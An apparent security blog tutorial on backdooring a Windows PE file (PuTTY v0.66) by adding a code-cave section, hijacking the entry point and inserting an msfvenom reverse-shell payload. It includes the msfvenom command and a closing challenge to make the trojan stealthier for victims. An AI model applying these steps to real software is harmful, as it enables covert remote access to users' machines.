Code Caving & Backdooring Windows PE Files - Windows Memory Manipulation and Execution Flow Hijacking

Code caving is a technique deployed by threat actors to run malicious shellcode within the valid PE space of a regular program. It’s a technique where an actor discovered a un-used or non-optimized part of code within a compiled program that they can use via hijacking the execution flow to point to this location that has shellcode allocated in it. Which can lead to the application executing a malicious shellcode payload.

Thanks Wikipedia

A code cave is a series of null bytes in a process’s memory. The code cave inside a process’s memory is often a reference to a section of the code’s script functions that have the capacity for the injection of custom instructions. For example, if a script’s memory allows for five bytes and only three bytes are used, then the remaining two bytes can be used to add additional code to cript without making significant changes.

This walkthrough will be utilizing an older version of Putty, Putty v0.66, which can be downloaded from here.

Our exploitation & backdooring workflow

Our workflow is as follows.

  1. We add another section to the binary and fill it up with empty space, also give it the name of our choosing.
  2. Find the entry point for the binary
  3. Find the address of your newly created section in the binary
  4. Write your msfvenom shellcode payload to the empty created section
  5. Re-write the empty point as a JMP to the malicious section.
  6. Have the shellcode return execution back to the normal flow
  7. Patch and save the binary

Binary section analysis & creation

We can start by opening up putty.exe within CFF Explorer to view the PE data. CFF Explorer will give us plenty of details about the binary, the important part is the sections tab. This technique is to add a malicious section to the binary.

code caving 1

Open up the section headers tab and we need to add a new header, this header will be utilized for malicious purposes. Go to Section Headers [x] > Right-click and select Add Section (Empty Space), and adjust the size of the section to 1000 spaces. Then name your new section header. I will be naming it .shell. Adding these spaces will allow the program to be sen as a legitimate application instead of just throwing you an error and crashing if you don’t have data. This blank data will also be utilized soon.

code caving 2

Debugging the application

Now we can open up our new binary in Immunity Debugger. If you run the application it will show “Program entry point” on the bottom left of Immunity, this is what we want to hijack to point to our soon to be malicious .shell segment.

code caving 3

From here you copy the .shell section headers address and edit the Program entry point to a JMP <SECTION ADDRESS>.

code caving 4

code caving 5

Now you can press F7 and step into the newly edited JMP call, this will lead to the new section we created.

code caving 6

Now you also want to edit the new section in Immunity and add a PUSHFD to the start of your malicious new section. Assemble it when done.

Malicious payload creation

Now you can generate your msfvenom payload, use a EXITFUNC=seh to ensure it handles proper exiting to add to the stability and reliability of your shell. Generate it in hex format since it’s going to be directly pasted into the binary/machine code.

└─▪ ./msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9999 -f hex EXITFUNC=seh
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes

You you can now copy past this into Immunity Debugger into your new malicious section.

code caving 7

Obtain a shell

You can run it within Immunity, but if you want to export the now backdoored file, you just need to save the patched file and run it to obtain that sweet reverse shell.

code caving 8

I do wonder if this would get detected by anti-virus…. This technique is old and highly detected, an attacker would need to further protect their binary from AV detection if they wanted this to actually work.

code caving 9


This post covered a fairly simple technique for backdooring a Windows PE binary, using execution flow highjacking and PE section create, we can plant a malicious shellcode payload within a normal binary, have it execute our shell, and give an attacker remote access to the victims system via them running a binary they think is supposed to be normal.

Further research

As a challenge to anyone who reads this, try to have the malicious payload redirect it’s execution flow back to the normal application so it loads as a normal binary should, this will add the elusion that nothing wrong is occurring when a victim runs the application.